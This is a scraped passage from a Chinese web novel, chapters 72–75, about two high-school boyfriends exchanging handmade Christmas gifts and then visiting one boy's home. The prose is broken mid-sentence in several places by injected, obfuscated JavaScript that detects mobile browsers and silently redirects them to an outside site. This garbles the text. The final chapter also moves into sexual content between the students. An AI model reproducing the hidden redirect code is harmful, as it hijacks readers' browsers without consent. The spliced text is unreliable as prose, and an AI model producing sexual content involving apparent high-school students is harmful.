“圣诞快乐!”同学对着他露出个无比灿烂的笑容,又紧赶着跑去后面的座位发糖了。 到最后上课铃响的时候,谢遥集的桌子上已经摆满了大大小小的糖块和巧克力,甚至里面还掺杂了几块不知名品牌的压缩饼干。 几秒钟后,林藏初气喘吁吁地举着空袋子回来,撑着胳膊就要往座位里面跳:“草啊,真累死我了。” 谢遥集反应比他慢了一步,转眼对方就已经好端端地坐正,还不忘帮他整理钻过来时弄乱的书包:“事急从权,事急从权哈,我刚才注意了,绝对没有踩到你!” 林藏初环顾一周,发现老师还没来,于是小小声地跟谢遥集吐槽:“你不知道,我刚才差点被挤扁了,以前怎么没发现咱们班人这么多?走得乱七八糟的。” “毕竟是过节,热闹。” 谢遥集将那两根橘子味的棒棒糖递给他。 林藏初这才注意到自己桌子上的盛况:“我去……大家发了这么多糖?” 谢遥集:“嗯,前前后后来了好几拨。” 最后一个发糖的同学因为要上课来不及,又正巧只剩下南排的六个位置没发,干脆把剩下的糖全塞过来了。后面两桌随便抓了两把,其余的就都留给了林藏初。 林藏初把里面的柑橘味硬糖通通挑出来,和谢遥集递给他的棒棒糖放在一起。 想了想,又把硬糖分出去些,往男朋友那边推。 “……太多了,我一个人吃不完。” 少爷拙劣的借口如是道。 谢遥集看着他,没动,但也没拆穿,果不其然下一秒就听见对方希冀居多的声音:“好同桌,今晚的数学卷子我能不能少做几张啊?” 这一出招数理应叫“借花献佛”,但是哪有人连送礼都不提前问问对方口味,大大咧咧地只送自己喜欢的? 可林藏初偏偏还就误打误撞地蒙对了。 推过去的透明硬糖被人叹着气捡走,包装纸撞到一起,在掌心里发出细碎的哗啦声。 谢遥集说:“……可以,下不为例。” 也不知是这句话在林小少爷心里的惊喜占比有多重,他的眼睛倏地亮了,似乎是还想再跟人说些什么,没来得及开口,物理老师就已经出现在教室门口。 林藏初只好遗憾地把方才灵光一现蹦出来的新点子揣回心里,规规矩矩地跟着其他同学一起把上次月考没讲完的理综卷掏出来。 物理老师屡次惊奇地将目光投向这边的角落,分心太多,以致于每讲完一道题就要停上几秒。 等发现林藏初竟然真的在跟着课堂节奏做笔记,她震惊得险些把卷子脱手—— 平日都在课上大睡特睡的人,今天怎么忽然转性,一反常态地听起课了? 那个成语叫什么来着……醍醐灌顶、浪子回头? 对于自家学生的这种变化,物理老师感动得无以复加,实在没忍住,下道题就把人从座位上给点起来了:“林藏初。” “你过来,上黑板试着画一下这张图的受力分析。” 林藏初原本还在苦苦埋头研究前面的物理选择题,猝不及防从远在讲台上老师的嘴里听见自己的名字:“?” 林藏初缓缓站起,伸出手指了指自己:“……我吗?” 物理老师的目光里饱含深情、微笑和鼓励:“是的,没错,就是你。” 林藏初:“……” 不是,上课前也没说有这一项活动啊! 他在课桌底下绝望地掐了下谢遥集的胳膊:能不能想个办法救救我。 谢遥集被掐但面色没变,只安抚性地拍了拍林藏初伸过来的手,什么话都没说。 ……靠天靠地不如靠人自己。 少爷心里无比悲愤地闪过这么一句。 他一咬牙再一跺脚,抱着“壮士一去兮不复还”的觉悟走过一整个教室,拿着粉笔上了讲台。 然而等到真正上去的时候才发现,这道题,谢遥集好像昨天刚给他讲过。 林藏初还不至于到金鱼七秒钟记忆的程度,多多少少也对答案有点印象——这还是他头一回能看懂物理题。 林小少爷恍惚着画完图,恍惚着把粉笔放回讲台,顶着物理老师灼热又感动的视线,恍惚着往回走。 他只走了一半就又被叫住了。 物理老师说:“我那里还有几套基础的物理练习册,很适合你,改天都拿过来。你有时间也能挑着做做。” 林藏初微微一怔,还没开口,脑袋上就轻微地多了份重量。 物理老师照顾雏鸟似地揉了揉他的头发,语气难得温柔:“明年就高考了,要加油啊。” …… ………… 直到下课,林藏初的心里都还在想这句话。 他盯着试卷上自己百无聊赖画上去的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463969|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸发呆,又想起来昨天刚接到的那条青训营名额决赛选拔入选的通知,难得对未来生出一点孩子气的迷茫来。 教室重新变得热闹,外面的走廊传来追逐打闹的欢笑声,班级门口被来找人的外班同学围得水泄不通。 林藏初听见有人遥遥地喊:“谢神!外面有人找!” 遮挡在试卷上的阴影随着身边人起身的动作慢慢变淡,林藏初目睹谢遥集离开座位,朝着班级的门口走。 他用力晃了晃脑袋,把其他乱七八糟的东西都晃出去,想起自己上节课要做的事情。 好机会! 林藏初立刻开始翻箱倒柜地从桌屉里找起来自己需要的东西,然后抱着一堆纸和文具,溜去了教室北排靠近后门的座位。 “守门人”是个戴眼镜的瘦小男生,平时不怎么爱说话,在班级里的存在感也低。乍一下被班里的风云人物找上,整个人都有点受宠若惊:“林……林神?” “那个……”林藏初摸摸鼻子,到底是过来求人,话里带了些不好意思,“我们可以换一节课的座位吗?” 男生还以为自己听错了:“什么?” 林藏初伸出手指了指教室南边空出来的座位。谢遥集还没回去,桌上端端正正地摆着半摞习题册。 “可是你跟谢神一张桌呀……”男生有些犹豫,但是又对那个位置有点向往,“没问题吗?” 林藏初:“当然没问题!谢遥集他人可好了,不会为难你的。” “况且就只换一节课,下课我们就换回来,不会有事的!” 听他这么讲,男生也就放下了顾虑:“好吧,听你的。” 他起身开始收拾自己的书桌,同桌方有才正好上厕所回来,看见这堪称搬家的一幕:“?” “新”同桌语气诧异:“林哥?你咋过来这边坐了?” “嘘。”林藏初对他比了个手势,又很是不放心,探头探脑地看了眼班级门口的方向,“秘密。” 方有才:“?” 秘密?啥秘密? 他看了看林藏初手里那一堆乱七八糟的零件,有草稿纸、胶带,还有空修正带的壳子:“你这……” 难不成家里破产改行收破烂儿了,怕被同桌看见? 方有才越想越觉得惊悚,起了一身鸡皮疙瘩,那头的同桌已经收拾完东西走人,换成了坐过来的林藏初。 上课的预备铃响了,他到底是没敢问,假装在翻物理卷,实则余光还在偷偷地瞧着人。 跟他脑洞大开的猜测完全不一样。 林藏初只占用了桌面上窄窄的一小片地方,要用的东西小心翼翼地摆着。半遮在书桌下面的手指灵活地翻飞,看样子好像是在用草稿纸折什么东西。 方有才原本只是想悄悄瞧上两眼,满足一下自己的好奇心,但没成想一看出了神。 原因无他,只是林藏初折纸的动作太过于赏心悦目,手漂亮人也漂亮。唯一破坏美感的,只有这人左手背上那道明显的疤痕。 还没来得及看清,就又被林藏初的下一个折纸动作挡住了。 “林哥,你这是做的什么?”方有才终于还是没忍住问了。 林藏初说:“送人的。” 并没有很具体地讲,但是方有才一眼就看出来这人的心情似乎很不错。 “严格意义讲不能算是礼物。”少爷叹了口气,“但是谁叫某个笨蛋,连圣诞节都不知道要给自己过?” 73.Chapter 73 谢遥集被堵在班级门外,一连拒绝无数个学妹们精心包装的平安果,头疼耳朵也疼,偏偏还有那种没有眼力见儿的外班看客在旁边拱火。 “好歹也是学妹们的一片心意,谢神你就收了呗。” “就是就是,人家从南楼大老远跑过来多不容易,路上还得避着政教老师和教导主任。” “真要收,那就你们收着。” 谢遥集头回在众人面前冷了脸,语气讥讽,“反正你在你们班平时也没少收,不是吗?” 被点破的二班生活委员霎时窘迫,他上周确实是假借班费名义多收自己班同学的不少东西,这事不假,可谢遥集究竟是怎么知道的? 他的疑问没能得到解答,因为谢遥集已经撞开他,对学妹们讲声抱歉之后就转身回了班。 旁边的一班同学从头到尾都没说过话,立刻福至心灵地开始赶人:“都回自己班,别挤在这里了,待会儿主任该过来了!” 谢遥集憋着口气回班,说不上来自己现在的心情,但是可以肯定一点,他想快点见到林藏初。 他如此不加掩饰地想着,也确实这么做了。可视线径直望过去,不仅没能在谢遥集预想的位置上看见想看的人,反倒是另外个有些陌生的同学坐在那儿。 谢遥集:“?” 他是被气出幻觉了吗? 谢遥集还以为自己走错,进了隔壁高三(2)班的地盘,他下意识回头去看班级门标。 刚才在走廊帮忙赶人的同学恰好进来,看见谢遥集脸上神色不太对,忙问:“怎么了,谢神?” 谢遥集刚想问他这里是咱班吧,话出口的前一瞬又觉得这问题实在太蠢:“……没事。” 他勉强镇定,又往自己座位的方向走了几步。 摆在桌面的卷子和书都对得上,确实是他和林藏初的位置没错。 还没走到地方,坐在林藏初位置的同学就局促地站了起来,嗫嚅着打招呼:“谢神你回来啦?” “林哥说要跟我换一节课座位……”同学赶在谢遥集开口之前飞速解释,但觑着对方愈加阴沉的脸色,声音越解释越小,“所以……” “所以,他这节课是坐在你的位置?” 谢遥集问。 戴眼镜男生点头如捣蒜:“嗯嗯嗯!” 察觉到谢遥集向外寻找的视线,他立刻往自己座位的方向指了指:“就那儿,靠后门那边的位置。” “谢神你放心!下课之后我马上就走的,绝不多待一秒钟!” 谢遥集似乎是听到了,又好像没太在意他这句话。他的目光略过教室里熙攘的人群,最后落在那个距离横跨整个教室的座位上。 林藏初端端正正地坐在那里,低着头,瘦削的身形被周围的同学挡住,谢遥集只能从人群的缝隙间看见个毛茸茸的发顶。 ……为什么呢? 谢遥集有点想不通。 是因为不愿意在物理课和自己做同桌,还是因为已经开始厌倦他这个人,所以干脆连借口都不找地逃跑了? * 林藏初并不知道自己已经被男朋友在心里编排成了一个“抛夫弃座”的可恨人士,仍旧在聚精会神地捣鼓着面前的迷你手工。 距离上课铃响过去三十分钟,物理老师已经讲完了这次月考的理综卷,正在找之前留的专题套卷作业。 林藏初很侥幸地带了,但是没写。 他嘴里含着根刚拆封的棒棒糖,一只手将卷子对折放在桌面上,另一只手则拿着透明胶带,往修正带的齿轮上粘最后几张叠好的纸片。 粘好之后大功告成,少爷对自己的杰作越看越满意,整个人带着椅子向后仰了仰,试图对其进行一番多角度、360°无死角的观赏。 旁边的班级后门玻璃忽然传来阵不轻不重的敲击声,紧接着,似乎有道黑影猝不及防地笼罩在桌面上。 林藏初叼着棒棒糖缓缓抬头。 ……正对上蒋主任那张放大的国字脸。 沃日! 林藏初险些被吓得从座位上跳起来。 蒋主任显然已经满脸怒气,先是指了指他嘴里的棒棒糖,然后又愤怒地指了指班级外面的走廊。 这是要请人出去罚站的意思。 林藏初试图为自己开脱:“主任你听我解释……” 蒋主任管纪律多年,根本不吃这一套:“你还能解释什么?不许狡辩!出来!” 倒霉如林小少爷,换了座位刚安稳不到半节课,就又被主任提着耳朵众目睽睽之下拎出了班级,到走廊罚站。 蒋主任把人拽到窗户旁边站稳,唾沫横飞地讲了一堆规章制度,林藏初听得耳朵快要起茧,才终于听见他说结束语:“知道没有?” “……知道了。” 林藏初乖顺地点点头。 这不是他第一次被罚站,因此对于这套认错流程很是轻车熟路。蒋主任又交代几句:“这次就不扣你们班级的考核分了,下不为例,记住了?” “记住了,主任。”林藏初再次点头,语气诚恳,“下次我肯定不再犯了。” 好不容易把人好声好气地送走,少爷站在原地,对着自己的倒霉命运叹了口气。 蒋主任特意给他挑了个能看风景的好地方,虽然窗外乌漆麻黑的几乎什么都看不见,但好歹也能瞧见几盏学校外面的路灯。 他盯着对面那家奶茶店的霓虹灯牌看了一会儿,想了想,又从口袋里掏出来张空白的草稿纸。 是出教室之前趁主任不注意偷偷藏的。 隔壁高三(2)班化学老师的讲课声铿锵有力、慷慨激昂,即使关着教室的门都有点震耳朵。 “再说一遍!!金属是单质!单质!我看下次考试谁再错的?!罚抄五十遍!” 又是一句高音贯耳,林藏初被震得差点短暂失聪,捂着耳朵默默地往自己班的方向挪了几步。 离下课还有时间,他打量起这张被自己“偷渡”出来的草稿纸,估摸着还能来得及给谢遥集叠个戒指玩。 就是不知道,这人到底会不会收。 …… 事实证明,林小少爷的担忧确实很有必要。 因为等他收拾好东西,带着“礼物”蹑手蹑脚地回到自己座位的时候,才发现谢遥集的心情似乎不大好。 最明显的表现就是,这人岿然不动地坐在位置上做题,既没抬眼看他,也没像往常一样立刻站起来让座。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475165|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那个……我回来了。” 林藏初有些讪讪,被他换位置过来坐的男生早已经先一步地溜了,以至于他现在一个人面对不知情绪的谢遥集,倒没来由地显得有些心虚。 谢遥集依旧没回话。 “喂,让让嘛。”少爷觉得有点奇怪,伸手去推他,但是也没敢用太大力气,“你生气了?不就是去别的地方坐了一节课……” “然后倒霉地被主任抓到走廊罚站半节课。”林藏初小声地嘀咕抱怨,“走廊可冷了……” 谢遥集终于动了,他放下笔,写到一半的物理公式扔在草稿纸的空白处。如果林藏初的理综成绩再好上那么一点儿,就能看出来这条公式有个地方写错了。 明显是在心烦意乱的情况下胡乱编的。 谢遥集现在心情其实糟糕得很。这种情绪从第一节课间被人喊出去开始,到回班得知林藏初默不作声偷偷窜座、又被主任罚站,再持续到现在这人全须全尾地站着他身边,软着嗓子喊他让一下。 像是用不结实的泡沫板叠起的高楼大厦,叫人从底部点着火,烧到一半又被瓢泼大雨给透彻地淋灭掉,只留了个黑黢黢的巨大窟窿。 谢遥集很用力地攥了下掌心,尽量让自己的语气听上去平静:“下次,再走之前记得和我说一声。” 是句彻头彻尾的、把真实想法掩盖起来的话。 但林小少爷没听出来,乍见人松了口,立刻跟着扬起笑脸,用了十几分钟前跟蒋主任一样的保证:“嗯嗯!我会的!” 他一口气讲完,没等谢遥集再往外多走几步,就已经游鱼似地顺着空隙挤回自己座位。 校服下窄而劲瘦的腰从谢遥集搭在桌面没来得及挪开的手指上蹭过去,触感紧密,带着少年人独有的体温。 谢遥集像是被烫到一样,什么心里窝火、愤怒和说不上来的恐慌,全都跟着很没出息地一同散了。 还没等他再睚眦必报地聚起来,少爷就不由分说地推过来个亮晶晶的东西:“喏,给你。” 林藏初似乎还没掌握超绝不经意送人礼物的精髓,正大光明地往谢遥集的卷子上一摆:“我做的,厉害吧?” 桌面上没做完的物理题目被盖了半截。 谢遥集有些愕然地低头,看见一棵小小的、从修正带外壳里开出的圣诞树。 是用纸折成的。表面很精心地涂了深浅不一的绿色,上面还粘着手工星星和各种颜色的礼物盒。 又因为别出心裁地放在修正带的齿轮里,所以用手轻轻拨动的时候,圣诞树也会跟着转。 喉咙像是被什么情绪很轻地堵住。 远比其他人敏锐的头脑几乎是瞬间就想通一切。他心里无坚不摧的岛屿被忽然漫上来的浪潮冲得塌下去了一小块。 别人桌角那些精致漂亮的节日摆件,仰着脖子的麋鹿、挂在雪橇上的铃铛,还有堆满礼物的迷你圣诞树。 谢遥集的视线曾经在上面停留过几秒,然后被破天荒过来问题的男朋友敏锐地察觉到。 或许他自己都没意识到这种微弱的“想要”情绪,但林藏初就是注意到了。 少爷花了将近半节课的时间,躲在角落里,偷偷地为他叠了棵独一无二的圣诞树。 74.Chapter 74 谢遥集又想到教室走廊外面,那些让人眼花缭乱的平安果。 不知道是从谁那里最先传出来的传闻,一大堆学弟学妹踩着下课铃浩浩荡荡地来,又抱着没送出去的苹果垂头丧气地走。 高二那年林藏初似乎给班级的每个人都送了昂贵的平安果。 唯独自己因为请假缺席不在班级,所以成了唯一没有收到这份平安夜礼物的人。 第二天外面都在疯传林小少爷给班级同学分苹果这件事,谢遥集路过偶然听见,也只是在心里默默地评判上一句财大气粗。 两三块钱的苹果,只要简单地被商家加个华丽包装,再套个“平安”的祝福语,就能涨价到十块钱。 ……只有这种傻傻的有钱少爷才会买。 今年不知道为什么林藏初开始改送巧克力,虽然礼物总价格上变得更贵了,但好歹显得不那么冤大头——至少在谢遥集看来是这样的。 但如果抛开所有的外界因素、抛去这份“物低所值”的价格来说。 他竟然没来由地觉得有些遗憾。 如果能再早一点。谢遥集忍不住地想,假如那天他没有请假,也没有去打那份便利店的临时工。 他是不是也能得到一份来自林藏初的“平安果”?以那个时候两人势如水火的关系,林藏初会对他说圣诞快乐吗? 临近上课的教室依旧吵闹,高中生之间八卦总是传得飞快,门口的几个人七嘴八舌描绘刚才的吵架盛况:“嚯,你是不知道,刚才门口热闹死了。” “隔壁那个傻叉玩意,仗着自己长张嘴,在旁边一个劲儿地道德绑架。” “对啊,还好谢神当场就给怼回去了——对面那脸色精彩得哟!你们在屋里都没看见,太遗憾了。” 他们说话的声音不小,林藏初和谢遥集在的位置也多多少少地听见几句。 谢遥集赶在林藏初好奇问起这件事之前,轻轻咳嗽几声:“那个,下节自习课我们……” 屡试不爽的转移话题的招数在这一次惨遭滑铁卢。因为林藏初低头思考了几秒,很忽然地将手伸进自己的桌屉里面。 掏出来个方方正正、刻着平安祝福的透明礼物盒子。 里面是一颗被系上了蝴蝶结的苹果。乍看还有点丑,但是谢遥集去过林藏初的房间,认出来这是少爷自己平时惯用的打结方式。 谢遥集的手里很突兀地多了盒子微沉的重量,林藏初的睫毛眨得很快,没敢盯着对方的眼睛看。 “本来今年没打算准备的……但是思来想去,觉得男朋友还是要有一个。” “不收他们的,总要收我的吧?” 少年嗓音清润,尾调带着些忐忑的、只有在对象面前才见得到的紧张害羞,像是漂亮鸟类上翘的尾羽。 ……原来他什么都听见了。 也是,换过去的座位靠着教室后门,想不听见都难。 谢遥集的思维有些顿促,就好像前一秒还在心里说着愿望,下一秒愿望里出现的蛋糕就被人笑容灿烂地端上来。 即使这个“愿望”有那么一点无理取闹。 “……傻。” 他几乎是有些狼狈地别过脸去,口是心非,用了和从前一样的评价。 “不讲理,送你礼物你还骂我。”林藏初瘪瘪嘴,“那圣诞树也别要了——” 说着就要伸手去抓,谢遥集眼疾手快,在他探身过来的同时嗖地一下率先抢走了。 林藏初也没真的想要拿回去,只是做做样子。 他慢吞吞地收回手,撑臂在胸地盯着人看:“不是说不想要吗?” 谢遥集:“……” 谢遥集强装镇定地避开少爷审视的目光:“送人的东西,哪有拿回去的道理。” “送给我就是我的了。” 林藏初点点头:“说的也是。” “但我这里还有个买二赠一的规矩。”他状似无奈地叹了口气,说,“所以你收了这两个,就得再另外收个别的才行。” 谢遥集:“什么?” 教室里上课铃声再度响起,原本四处打闹、相谈甚欢的学生都跟着停了动作,开始你推我搡地往自己的座位里跑。 热闹喧嚣的交谈和无数桌椅的剐蹭声混到一起,于熟悉到不能再熟悉的音乐里渐渐偃旗仆鼓。 林藏初好像又说了什么话,上课铃的声音太大,他没能听清。 教室玻璃窗里漆黑的倒影中,长相漂亮的小少爷弯下腰,小心翼翼地牵起谢遥集的左手,往他的中指上套了一枚纸折而成的蝴蝶戒指。 “昨天刚学会的。” 音乐铃声终了,谢遥集听清这人抬头看向自己时笑盈盈讲的后半句话。 “——怎么样,是不是很漂亮?” * 临水一中的元旦假期是两天半。 兴许是林藏初当初随口做出的许诺太过珍重,又或许是这几天谢遥集的脑袋本就不太清醒。 放假前的最后一个下午,林藏初问他要不要来自己家看猫,谢遥集竟然鬼使神差地答应了。 直到坐上李叔的车,一路七拐八拐地绕去郊区最后停在林家别墅门口,看见那只眼熟的蓝银丝鹦鹉的时候,谢遥集才后知后觉地生出来几分退缩:“我……” 林藏初比他先一步下了车,车内的暖气空调开得足,门敞开的瞬间冷风直直地顺着缝隙往里钻,变成一片升腾的白雾。 少爷在这片白雾里向他伸出手:“走啊,怎么在愣着?” “……” 推诿的话变成了递过去的手指,被林藏初轻轻一拽,揣进外套温暖的口袋里。 李叔在车内看了全程,乐呵呵地跟着感慨:“小年轻啊,之间关系可真好。” 谢遥集起身动作不易觉察地一僵,林藏初表情坦荡地把他从车里扯出来,拉到自己身旁。 “那当然了,我俩关系好着呢。别人羡慕都——” 少爷也没个要遮掩的样子,贴着早恋露馅儿的边大咧咧地讲,才刚讲半截,口袋里的手就被人警告似地用力一握。 “……咳。” 林藏初在男朋友平静的目光中遗憾地停下了自己即将出口的炫耀。 李叔倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491587|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没再多聊,只是嘱咐他们外面冷快些进屋,随后就开着车去了地下车库。 天色将暮未暮,别墅区的路灯陆续亮起,院子里积雪未化,谢遥集站在清扫出的道路旁,眼尖地看到灌木丛外摆着的那只小雪人。 不仅戴了顶迷你的红色编织帽,中间还被人围上一条长长的方格围巾。 小雪人尺寸约莫着也就只有手掌那么大,距离它旁边不过几十厘米的雪地上,是几只突兀的猫爪印。 “欸?”林藏初察觉到他的视线,“你在看这个啊。” “这个雪人是前些天林子浔闲着没事干,自己捏的——才刚做好没到两个小时,就被出来玩的猫一爪子给拍碎了。” 林藏初像是想起来当初那鸡飞狗跳的场面,忍俊不禁道:“她想把五子棋教训一顿,但我妈死活不让。” “所以只好忍气吞声又捏了个新的。” 谢遥集有些意外:“它很淘气?” “何止啊。”林藏初知道他说的是五子棋,霎时陷入回忆似地叹口气,“刚到家两个星期就撕烂了三套窗帘,一个半月之后开始挠客厅沙发,四个月大的时候无师自通地解锁了‘如何清除餐桌上全部水杯’的技巧……” 谢遥集:“……” 谢遥集忽然有点不敢进林家的门了。 猫是他当初“道德绑架”强行塞到少爷手里的。塞过来之前也没想到看着很听话本分的小猫,长大之后竟然能变成这个样儿。 有那么一瞬间,谢遥集恍惚觉得自己才是那只干了无数坏事的奶牛猫。 “不过它最近已经不怎么搞破坏了。”林藏初话锋一转,“林子浔为它量身定制的减肥计划这几天刚好提上日程。” “虽然我总觉得她有点公报私仇的意思在……但是家里半夜的噼里啪啦声确实变少了。” “你很难想象,一个黑白相间的煤气罐。” 他语气复杂地停顿几秒:“究竟为什么要执着于在每天凌晨两点爬上冰箱。” “噗。”谢遥集几乎是呛咳两声才及时把笑止住,林藏初拽着他按开家门的密码锁。杨姨刚好在换玄关柜子上的插花,看见自家少爷领着个陌生的高挑男生进来,微微讶然地让到一旁。 “……这位是?” 杨姨还是头一回见到林藏初往家里带同学,往常最多也不过是见过几次隔壁程家的小公子,一时有些好奇。 还没等林藏初开口介绍,就听见房间里传出来阵噼里啪啦的劲爆跑酷声,其中夹杂着妹妹恨铁不成钢的怒吼:“五子棋!你给我回来!!” 一道黑白相间的身影闪电般窜出来,踩着客厅地毯一路风驰电掣地飞奔,速度太快根本来不及看路,一头撞在玄关站着的人身上:“咪呜——!” 伴随着变调细长的猫叫声,谢遥集只觉得脚上多了团沉甸甸带着热量的活物。他低头,正好对上小猫仰着脑袋晕乎乎看人的圆瞳孔。 鬼使神差地,谢遥集弯下腰,双手将它拎着抱了起来。 五子棋被撞得还有点懵,在空中茫然地歪歪脑袋。 “咪呜?” 75.Chapter 75 一人一猫就这么沉默地对视了几秒。 时间好像过了很久,久到谢遥集已经把猫从上到下打量完全,并且在心里彻底认同它“煤气罐”的外号之后,被拎着的猫终于动了。 它似乎是认出了自己曾经的救命恩人,紧绷的身躯松懈下来,在谢遥集手里乖顺地垂成了柔软细长的一条:“咪~” 谢遥集前后晃晃,整条猫跟着他的动作小幅度地摆了摆:“嗷唔~” 丝毫没有要反抗的意思。 在旁边围观一切的林藏初:“?” 不是,这猫怎么在你手里这么听话? “哥!”林子浔脑门上戴着逗猫棒,胳膊底下夹着老鼠球,从房间里气急败坏地冒出头,“你快帮我把它抓……” 看清门口站着的两人一猫后,她忽然卡了壳:“……” 五子棋的各种减肥玩具被林子浔迅雷不及掩耳之势唰地收到身后,整个人颇具礼仪地站直了。 “咳,那个,好巧又见面啦谢会长!” 谢遥集将猫放回到地面,有些歉然地向她打了声招呼:“晚上好。” 五子棋四脚沾地,不情不愿地喵了两声,非但没往林子浔的方向走,反倒一屁股坐在了旁边林藏初刚换好的拖鞋上。 林藏初和谢遥集两个人站的距离近,它屁股坐着一个,脑袋还能再枕着一个。 五子棋就这么猫仗人势地安详趴下,开始原地打呼了。 林子浔:“……” 他妈的,这猫是成精了吗?! 杨姨也跟着笑笑:“五子棋还小呢,冬天确实是要多睡些。” “杨姨你就会惯着它!”林子浔嘟囔道,“小猫也没这么睡的呀,再这样下去真睡傻了。” 林藏初叹口气,把脚从猫屁股底下挪出来,向着两人指了指谢遥集,补上刚才没说完的介绍:“前主人在这呢,叫他管。” “五子棋的前主人……噢!那你是谢同学吧?” 谢遥集从杨姨的口中听见自己的名字,她笑眯眯地夸赞道,“平时总能听小林少爷提起你,学习成绩可优秀的孩子,长得也漂亮。” ……漂亮? 谢遥集有些意外地用眼角余光去觑林藏初的表情,像是在问:你每天都在跟家里人说些什么啊? 被抓包的林藏初眼神乱飘几秒,又很快理直气壮地看回来:怎么了,不行? 交谈间,杨姨已经摆好碎纹瓷瓶中的插花。月季和洋桔梗长短疏密交叠,整体色调是雾映暖山的粉白色,好看得很。 “我去把它送回房间睡。”她弯腰将那只赖在玄关不走、耽误客人进屋的猫轻轻捞起来,笑着招呼道,“少爷你们先上楼玩会儿,晚饭还早着。” 林藏初点点头,算是知晓。他拉着两个人要往楼梯上走,“那就去我房间……” “等等!” 林子浔连忙退后一步,摆手道,“我就不上去了,你们玩。” 她咂了咂嘴,脚下步伐往厨房的方向蹭了几厘米:“咱爹今天请了大厨过来,我要去跟妈凑个热闹!” “行。”林藏初也没强求,随她去了。 于是去房间的人数由三个变为两个。 谢遥集跟在少爷身后上楼,衣服随着步伐发出摩擦的声响。他不是第一次来,但是每次都觉得这红木楼梯走起来很长。 林家别墅的内部构造跟程家相差无几,但细节上又风格迥异,看不出来显贵奢靡,反倒是温馨居多。 楼梯拐角的墙面上贴着种类繁多的画作,纸张从泛黄到崭新,笔触由稚嫩走向成熟,简笔画变成素描又变成水彩写生。 最新的一幅下面标着小小的名字缩写。 谢遥集没有多问,视线落在林藏初和自己紧密相牵的手指上。 方才在家人面前还只敢匆匆地扯着外套衣袖走,拐过视线盲区后就开始变本加厉,沿着谢遥集的手腕往下滑,最后变成十指交错的姿势。 林小少爷牵着男朋友的手,一路无声地将人带上二楼,无声地把人领进自己的房间—— 几乎是在谢遥集进门的瞬间,“咔嚓”一声,结实的房门在他身后落了锁。 身材高挑的谢会长被少爷抓着手腕,动作利落地按在门板上。林藏初没他高,即使是这种环节也只能仰着头看人。 “亲一个?” 饶是早有预料,谢遥集还是被林藏初的胆大程度所震惊。屋里没有开灯,光线昏暗。少爷的眼睛很亮,仓鼠似的,因为看不清人,显得瞳孔又有点散。 这种情况下跟盲人是讲不成道理的。 谢遥集由着他抓,没有要反抗的意思,只喉结跟着滚了几下,低声问:“我们……这算不算是在偷情?” “我自己家!我自己的房间!”林藏初不满地凑近哼哼,“算哪门子的偷情?” 林藏初难得强势一回,把人按在门板上不撒手:“你到底亲不亲?不亲算——唔!” 陡然间天旋地转,少爷自讨没趣的话只讲了半截就愕然止住。 谢遥集轻而易举地将他整个人都翻了个面,主导者和被主导者的位置瞬间互换,林藏初的额头险些撞到坚硬的门板上,又被对方早有预料地用手掌抵住,没磕疼。 交叠着按在房门上的手指微微沁了汗,在平整的表面留下几道雾痕。 林藏初看不清东西,下意识挣扎地动了动,然而双腿被对方以巧妙的方式岔开别住,无论怎么都动弹不得。 林藏初:“……” 按人不成反被压,他有点后悔了。 虽然眼前看不清东西,但林藏初能感觉得到凑到脖颈间的温热呼吸。微凉的金属质感轻轻碰在皮肤上,好像是谢遥集还没来得及摘下的眼镜。 而后他听见很细微的咔嗒声,迷乱间似乎有什么被塞进少爷的掌心,抵在门板上。 昏暗中轻柔的吻跟着碎发一同落下来,所到之处皆像是蚂蚁爬过的痒,林藏初胡乱地向旁边伸出手,想把谢遥集递给他的眼镜放到柜子上。 但是什么都没摸到,看又看不清。卫衣单薄的衣摆被人掀起,细碎的呜咽声从喉咙里溢出来。他按在门板上的手指渐渐脱力,几乎要勾不住金属镜框。 旁边的墙壁上有灯的开关。 林藏初哆哆嗦嗦地伸手想去按,胳膊只伸到一半就被攥住了。 “不准开灯。”谢遥集很轻地亲了亲他的眼睛,安抚似的,“少爷,做这种事的时候分心,是个很坏的习惯。” 下巴捏着抬起来接吻,腿间被人用膝盖从后面恶趣味地顶着磨了磨。 秾丽绯红的眼尾很没出息地再次沁出泪水,少爷嘴里不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 